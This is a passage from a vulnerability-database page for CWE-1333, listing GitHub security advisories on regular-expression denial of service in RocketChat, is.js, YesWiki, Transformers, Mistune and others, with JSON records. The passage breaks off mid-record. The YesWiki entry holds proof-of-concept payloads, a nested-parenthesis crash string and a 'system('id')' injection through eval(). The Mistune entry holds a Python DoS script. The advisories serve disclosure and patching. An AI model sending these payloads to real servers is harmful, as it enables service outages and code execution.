Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

724 vulnerabilities reference this CWE, most recent first.

GHSA-PRXP-75XX-3CXW

Vulnerability from github – Published: 2025-06-09 21:30 – Updated: 2025-06-09 21:30
VLAI
Details

A vulnerability, which was classified as problematic, has been found in RocketChat up to 7.6.1. This issue affects the function parseMessage of the file /apps/meteor/app/irc/server/servers/RFC2813/parseMessage.js. The manipulation of the argument line leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-5892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-09T20:15:25Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, has been found in RocketChat up to 7.6.1. This issue affects the function parseMessage of the file /apps/meteor/app/irc/server/servers/RFC2813/parseMessage.js. The manipulation of the argument line leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-prxp-75xx-3cxw",
  "modified": "2025-06-09T21:30:51Z",
  "published": "2025-06-09T21:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5892"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RocketChat/Rocket.Chat/pull/35711"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mmmsssttt404/0fcda3b3e85edafc4eaa6816aa252deb"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.311663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.311663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.585751"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PVRW-G6FX-MCX2

Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2023-07-06 21:46
VLAI
Summary
is_js vulnerable to Regular Expression Denial of Service
Details

is.js is a general-purpose check library. Versions 0.9.0 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). is.js uses a regex copy-pasted from a gist to validate URLs. Trying to validate a malicious string can cause the regex to loop "forever." This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. is.js has no patch for this issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "is_js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-06T21:46:34Z",
    "nvd_published_at": "2022-12-22T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "is.js is a general-purpose check library. Versions 0.9.0 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). is.js uses a regex copy-pasted from a gist to validate URLs. Trying to validate a malicious string can cause the regex to loop \"forever.\" This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. is.js has no patch for this issue.",
  "id": "GHSA-pvrw-g6fx-mcx2",
  "modified": "2023-07-06T21:46:34Z",
  "published": "2023-07-06T19:24:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26302"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arasatasaygin/is.js/issues/320"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/arasatasaygin/is.js"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2020-295-redos-is.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "is_js vulnerable to Regular Expression Denial of Service"
}

GHSA-PX5M-H76G-P7P8

Vulnerability from github – Published: 2026-07-09 21:03 – Updated: 2026-07-09 21:03
VLAI
Summary
YesWiki has Unsafe eval() in its Formula Calculato, Leading to Remote Code Execution & Denial of Service
Details

Summary

An unsafe execution vulnerability exists in the Bazar form field calculator (CalcField.php) of YesWiki. The application attempts to sanitize user-defined mathematical formulas using a complex recursive regular expression before passing them to the PHP eval() function. This implementation is inherently flawed: it is vulnerable to Regular Expression Denial of Service (ReDoS / Stack Overflow) which can crash the server, and it creates a high-risk architecture where any logic bypass directly results in arbitrary PHP code execution.

Details

Affected Component - File: tools/bazar/fields/CalcField.php - Method: formatValuesBeforeSave($entry) - Vulnerable Mechanism: Combination of a complex recursive regex validation followed by eval().

The code attempts to implement a sandbox for mathematical operations by verifying the formula structure before executing it:

$regexpToCheckIfMathFormula = '/^((' . $number . '|' . $functions . '\s*\((?1)+\)|\((?1)+\))(?:' . $operators . '(?1))?)+$/';

if (preg_match($regexpToCheckIfMathFormula, $formula)) {
    $formula = preg_replace('!pi|π!', 'pi()', $formula);
    try {
        eval("\$value = $formula;");  // VULNERABLE LINE
// ...

Architectural Flaws

PCRE Stack Overflow & ReDoS (The Immediate Exploit):

The regex definition heavily relies on a recursive pattern (?1)+. In PHP's PCRE engine, deeply nested recursive patterns are processed on the system stack. If an attacker inputs a formula with thousands of nested parentheses or repeating groups, the engine will either trigger a pcre.recursion_limit exhaust (returning false or null) or cause a Segmentation Fault, instantly crashing the PHP process (Denial of Service).

The "Validation-Before-Substitution" Trap:

The regex checks the $formula variable after it has tokenized and reassembled the input string. If any underlying function called during tokenization (like testEntryValue or future updates to getEntryValue) returns or leaks an unexpected string format, the string structure changes.

Complete Trust in eval():

Using eval() as a math parser means the application's security perimeter relies entirely on a single regular expression. History shows that complex regex sanitizers for script evaluation are consistently bypassed via edge-case syntaxes, character encoding tricks, or PCRE engine bugs.

PoC

Scenario A: Remote Denial of Service (Server Crash)

An attacker with rights to create or edit a Bazar form adds a Calc field and injects a deeply nested recursive mathematical structure.

Payload:

((((((((((((((((((((((((((((((((((((((((((1+1))))))))))))))))))))))))))))))))))))))))))))

(Multiplied by 2000 to 5000 iterations depending on the server's pcre.recursion_limit and stack configuration).

The PCRE engine runs out of stack memory, leading to an immediate crash of the PHP-FPM worker or Apache process handling the request, rendering the service unavailable.

Scenario B: Logical Bypass to RCE

Because eval() executes raw PHP code, if an attacker successfully fuzzes the recursive pattern or exploits an unpatched vulnerability in the specific PCRE library version installed on the host OS, they can slip a PHP payload through the validation block.

Payload:

abs(1) + system('id')

If a validation bypass occurs, the string evaluates as native PHP, granting the attacker the privileges of the www-data (web server) user, leading to a full host compromise.

Impact

  • Confidentiality: HIGH. Attackers can read sensitive system files (e.g., /etc/passwd, .env configuration files).

  • Integrity: HIGH. Attackers can modify application files, inject backdoors, or alter the database content.

  • Availability: HIGH. Attackers can easily bring down the web service via the ReDoS/Segmentation Fault vector.

Remediation & Mitigation

  • Do not use regular expressions to safe-guard eval(). Instead, replace the execution block with a dedicated, safe Abstract Syntax Tree (AST) math parser or an expression language component that cannot execute system context.
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52778"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T21:03:04Z",
    "nvd_published_at": "2026-06-08T19:16:46Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAn unsafe execution vulnerability exists in the Bazar form field calculator (CalcField.php) of YesWiki. The application attempts to sanitize user-defined mathematical formulas using a complex recursive regular expression before passing them to the PHP eval() function. This implementation is inherently flawed: it is vulnerable to Regular Expression Denial of Service (ReDoS / Stack Overflow) which can crash the server, and it creates a high-risk architecture where any logic bypass directly results in arbitrary PHP code execution.\n\n### Details\n\nAffected Component\n- **File**: tools/bazar/fields/CalcField.php\n- **Method**: formatValuesBeforeSave($entry)\n- **Vulnerable Mechanism:** Combination of a complex recursive regex validation followed by eval().\n\n\nThe code attempts to implement a sandbox for mathematical operations by verifying the formula structure before executing it:\n\n```\n$regexpToCheckIfMathFormula = \u0027/^((\u0027 . $number . \u0027|\u0027 . $functions . \u0027\\s*\\((?1)+\\)|\\((?1)+\\))(?:\u0027 . $operators . \u0027(?1))?)+$/\u0027;\n\nif (preg_match($regexpToCheckIfMathFormula, $formula)) {\n    $formula = preg_replace(\u0027!pi|\u03c0!\u0027, \u0027pi()\u0027, $formula);\n    try {\n        eval(\"\\$value = $formula;\");  // VULNERABLE LINE\n// ...\n```\n### Architectural Flaws\n\n**PCRE Stack Overflow \u0026 ReDoS (The Immediate Exploit):**\n\nThe regex definition heavily relies on a recursive pattern (?1)+. In PHP\u0027s PCRE engine, deeply nested recursive patterns are processed on the system stack. If an attacker inputs a formula with thousands of nested parentheses or repeating groups, the engine will either trigger a pcre.recursion_limit exhaust (returning false or null) or cause a Segmentation Fault, instantly crashing the PHP process (Denial of Service).\n\n**The \"Validation-Before-Substitution\" Trap:**\n\nThe regex checks the $formula variable after it has tokenized and reassembled the input string. If any underlying function called during tokenization (like testEntryValue or future updates to getEntryValue) returns or leaks an unexpected string format, the string structure changes.\n\n**Complete Trust in eval():**\n\nUsing eval() as a math parser means the application\u0027s security perimeter relies entirely on a single regular expression. History shows that complex regex sanitizers for script evaluation are consistently bypassed via edge-case syntaxes, character encoding tricks, or PCRE engine bugs.\n\n### PoC\n\n**Scenario A: Remote Denial of Service (Server Crash)**\n\nAn attacker with rights to create or edit a Bazar form adds a Calc field and injects a deeply nested recursive mathematical structure.\n\nPayload:\n\n`((((((((((((((((((((((((((((((((((((((((((1+1))))))))))))))))))))))))))))))))))))))))))))\n`\n\n(Multiplied by 2000 to 5000 iterations depending on the server\u0027s pcre.recursion_limit and stack configuration).\n\nThe PCRE engine runs out of stack memory, leading to an immediate crash of the PHP-FPM worker or Apache process handling the request, rendering the service unavailable.\n\n**Scenario B: Logical Bypass to RCE**\n\nBecause eval() executes raw PHP code, if an attacker successfully fuzzes the recursive pattern or exploits an unpatched vulnerability in the specific PCRE library version installed on the host OS, they can slip a PHP payload through the validation block.\n \nPayload:\n\n`abs(1) + system(\u0027id\u0027)\n`\n\nIf a validation bypass occurs, the string evaluates as native PHP, granting the attacker the privileges of the www-data (web server) user, leading to a full host compromise.\n\n### Impact\n\n- Confidentiality: HIGH. Attackers can read sensitive system files (e.g., /etc/passwd, .env configuration files).\n\n- Integrity: HIGH. Attackers can modify application files, inject backdoors, or alter the database content.\n\n- Availability: HIGH. Attackers can easily bring down the web service via the ReDoS/Segmentation Fault vector.\n\n### Remediation \u0026 Mitigation\n\n- Do not use regular expressions to safe-guard eval(). Instead, replace the execution block with a dedicated, safe Abstract Syntax Tree (AST) math parser or an expression language component that cannot execute system context.",
  "id": "GHSA-px5m-h76g-p7p8",
  "modified": "2026-07-09T21:03:04Z",
  "published": "2026-07-09T21:03:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-px5m-h76g-p7p8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52778"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/dd2bd8fb099de0d21504bda8a810693b3fcb8e52"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/releases/tag/v4.6.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki has Unsafe eval() in its Formula Calculato, Leading to Remote Code Execution \u0026 Denial of Service"
}

GHSA-Q22G-8FR4-QPJ4

Vulnerability from github – Published: 2019-06-06 15:32 – Updated: 2024-04-22 19:45
VLAI
Summary
Regular Expression Denial of Service in remarkable
Details

lib/common/html_re.js in remarkable 1.7.1 allows Regular Expression Denial of Service (ReDoS) via a CDATA section.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "remarkable"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-12041"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-06T15:21:06Z",
    "nvd_published_at": "2019-05-13T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "lib/common/html_re.js in remarkable 1.7.1 allows Regular Expression Denial of Service (ReDoS) via a CDATA section.",
  "id": "GHSA-q22g-8fr4-qpj4",
  "modified": "2024-04-22T19:45:28Z",
  "published": "2019-06-06T15:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12041"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/remarkable/issues/331"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/remarkable/pull/335#issuecomment-515958379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/remarkable/commit/287dfbf22e70790c8b709ae37a5be0523597673c"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-REMARKABLE-174639"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in remarkable"
}

GHSA-Q2WP-RJMX-X6X9

Vulnerability from github – Published: 2025-07-07 12:30 – Updated: 2025-07-08 16:33
VLAI
Summary
Transformers's ReDoS vulnerability in get_configuration_file can lead to catastrophic backtracking
Details

A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically in the get_configuration_file() function within the transformers.configuration_utils module. The affected version is 4.49.0, and the issue is resolved in version 4.51.0. The vulnerability arises from the use of a regular expression pattern config\.(.*)\.json that can be exploited to cause excessive CPU consumption through crafted input strings, leading to catastrophic backtracking. This can result in model serving disruption, resource exhaustion, and increased latency in applications using the library.

Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "transformers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.51.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-3263"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-08T16:33:26Z",
    "nvd_published_at": "2025-07-07T10:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically in the `get_configuration_file()` function within the `transformers.configuration_utils` module. The affected version is 4.49.0, and the issue is resolved in version 4.51.0. The vulnerability arises from the use of a regular expression pattern `config\\.(.*)\\.json` that can be exploited to cause excessive CPU consumption through crafted input strings, leading to catastrophic backtracking. This can result in model serving disruption, resource exhaustion, and increased latency in applications using the library.",
  "id": "GHSA-q2wp-rjmx-x6x9",
  "modified": "2025-07-08T16:33:26Z",
  "published": "2025-07-07T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3263"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/commit/0720e206c6ba28887e4d60ef60a6a089f6c1cc76"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/commit/126abe3461762e5fc180e7e614391d1b4ab051ca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/huggingface/transformers"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/c7a69150-54f8-4e81-8094-791e7a2a0f29"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Transformers\u0027s ReDoS vulnerability in get_configuration_file can lead to catastrophic backtracking"
}

GHSA-Q567-JFMR-4RR7

Vulnerability from github – Published: 2023-02-20 18:30 – Updated: 2023-03-01 21:30
VLAI
Details

Octobox is software for managing GitHub notifications. Prior to pull request (PR) 2807, a user of the system can provide a specifically crafted search query string that will trigger a ReDoS vulnerability. This issue is fixed in PR 2807.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-32848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-20T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Octobox is software for managing GitHub notifications. Prior to pull request (PR) 2807, a user of the system can provide a specifically crafted search query string that will trigger a ReDoS vulnerability. This issue is fixed in PR 2807.",
  "id": "GHSA-q567-jfmr-4rr7",
  "modified": "2023-03-01T21:30:20Z",
  "published": "2023-02-20T18:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32848"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octobox/octobox/pull/2807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octobox/octobox/blob/372a0da981dbf47319fed4116364118fdf09fcc3/lib/search_parser.rb#L5"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2021-100-octobox-octobox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q5F6-QXM2-MCQM

Vulnerability from github – Published: 2026-01-13 20:35 – Updated: 2026-01-13 21:41
VLAI
Summary
tarteaucitron.js has Regular Expression Denial of Service (ReDoS) vulnerability
Details

Summary

A potential Regular Expression Denial of Service (ReDoS) vulnerability was identified in tarteaucitron.js in the handling of the issuu_id parameter.

Details

The issue was caused by the use of insufficiently constrained regular expressions applied to attacker-controlled input:

if (issuu_id.match(/\d+\/\d+/)) {
    issuu_embed = '#' + issuu_id;
} else if (issuu_id.match(/d=(.*)&u=(.*)/)) {
    issuu_embed = '?' + issuu_id;
}

These expressions are not anchored and rely on greedy patterns (.*). When evaluated against specially crafted input, they may cause excessive backtracking, leading to high CPU consumption and potential denial of service.

Impact

An attacker able to control the issuu_id parameter could exploit this vulnerability to degrade performance or cause temporary service unavailability through CPU exhaustion.

No confidentiality or integrity impact was identified.

Fix https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52

The logic was simplified and hardened by removing ambiguous regular expressions and enforcing strict input validation:

if (issuu_id.match(/^\d+\/\d+$/)) {
    issuu_embed = '#' + issuu_id;
} else {
    issuu_embed = '?' + issuu_id;
}

This change eliminates the risk of catastrophic backtracking and prevents ReDoS conditions.

Additionally, code related to the legacy "Alexa Rank" service was removed. This service, historically provided by Alexa.com via browser toolbars and popularity rankings, has been deprecated for several years and is no longer operational. The Alexa domain is now exclusively associated with the Amazon voice assistant, and the original ranking service has been permanently discontinued.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tarteaucitronjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T20:35:28Z",
    "nvd_published_at": "2026-01-13T20:16:11Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA potential Regular Expression Denial of Service (ReDoS) vulnerability was identified in tarteaucitron.js in the handling of the `issuu_id` parameter. \n\n## Details\n\nThe issue was caused by the use of insufficiently constrained regular expressions applied to attacker-controlled input:\n\n    if (issuu_id.match(/\\d+\\/\\d+/)) {\n        issuu_embed = \u0027#\u0027 + issuu_id;\n    } else if (issuu_id.match(/d=(.*)\u0026u=(.*)/)) {\n        issuu_embed = \u0027?\u0027 + issuu_id;\n    }\n\nThese expressions are not anchored and rely on greedy patterns (`.*`). When evaluated against specially crafted input, they may cause excessive backtracking, leading to high CPU consumption and potential denial of service.\n\n## Impact\n\nAn attacker able to control the `issuu_id` parameter could exploit this vulnerability to degrade performance or cause temporary service unavailability through CPU exhaustion.\n\nNo confidentiality or integrity impact was identified.\n\n## Fix https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52\n\nThe logic was simplified and hardened by removing ambiguous regular expressions and enforcing strict input validation:\n\n    if (issuu_id.match(/^\\d+\\/\\d+$/)) {\n        issuu_embed = \u0027#\u0027 + issuu_id;\n    } else {\n        issuu_embed = \u0027?\u0027 + issuu_id;\n    }\n\nThis change eliminates the risk of catastrophic backtracking and prevents ReDoS conditions.\n\nAdditionally, code related to the legacy \"Alexa Rank\" service was removed. This service, historically provided by Alexa.com via browser toolbars and popularity rankings, has been deprecated for several years and is no longer operational. The Alexa domain is now exclusively associated with the Amazon voice assistant, and the original ranking service has been permanently discontinued.",
  "id": "GHSA-q5f6-qxm2-mcqm",
  "modified": "2026-01-13T21:41:31Z",
  "published": "2026-01-13T20:35:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AmauriC/tarteaucitron.js/security/advisories/GHSA-q5f6-qxm2-mcqm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22809"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AmauriC/tarteaucitron.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tarteaucitron.js has Regular Expression Denial of Service (ReDoS) vulnerability"
}

GHSA-QCM3-VFQ5-WFR2

Vulnerability from github – Published: 2023-06-06 18:30 – Updated: 2024-01-09 23:32
VLAI
Summary
RedCloth Regular Expression Denial of Service issue
Details

A Regular Expression Denial of Service (ReDoS) issue was discovered in the sanitize_html function of RedCloth gem. This vulnerability allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "RedCloth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-31606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-06T20:27:29Z",
    "nvd_published_at": "2023-06-06T17:15:14Z",
    "severity": "HIGH"
  },
  "details": "A Regular Expression Denial of Service (ReDoS) issue was discovered in the `sanitize_html` function of RedCloth gem. This vulnerability allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.",
  "id": "GHSA-qcm3-vfq5-wfr2",
  "modified": "2024-01-09T23:32:33Z",
  "published": "2023-06-06T18:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jgarber/redcloth/issues/73"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jgarber/redcloth/commit/8b1327688fef8e6617792054ef299d7bc74c0a1e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/e23e/CVE-2023-31606#readme"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jgarber/redcloth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jgarber/redcloth/blob/v4.3.2/lib/redcloth/formatters/html.rb#L327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/RedCloth/CVE-2023-31606.yml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RedCloth Regular Expression Denial of Service issue"
}

GHSA-QCQ2-496W-V96P

Vulnerability from github – Published: 2026-07-09 23:52 – Updated: 2026-07-09 23:52
VLAI
Summary
Mistune: Potential DoS via quadratic-time parsing in parse_link_text
Details

Summary

Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.

Affected component

mistune/inline_parser.py → parse_link_text

Description

When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.

Root cause

The vulnerability stems from a two-loop interaction: - The outer loop in InlineParser.parse() (inline_parser.py) advances only 1 character at a time when parse_link() returns None - Each failed attempt calls parse_link_text() which performs an O(n) scan to the end of the string looking for a closing ] - With n consecutive [ characters, this results in O(n) × O(n) = O(n²) total work

PoC

Run below python script

import mistune
import time

md = mistune.create_markdown()

s = "[" * 6400

t = time.perf_counter()
md(s)
print(time.perf_counter() - t)

image

Benmark poc Run below code for benchmark

import mistune
import time

md = mistune.create_markdown()

sizes = [100,200,400,800,1600,3200,6400]

for n in sizes:
    s = "[" * n

    t0 = time.perf_counter()
    md(s)
    dt = time.perf_counter() - t0

    print(f"{n:6d} {dt:.6f}")

image

Observed behaviour

python3 benchmark.py 
   100 0.001609
   200 0.003207
   400 0.012906
   800 0.050220
  1600 0.197307
  3200 0.801172
  6400 3.190393

Execution time grows superlinearly, consistent with O(n²) complex

Impact

This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:

  • Web applications (comments, posts, content rendering)
  • API services processing Markdown
  • Documentation rendering systems
  • A small (~6 KB) payload can block CPU for multiple seconds.

Suggested fix

Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time

Security Classification

CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49851"
  ],
  "database_specific": {
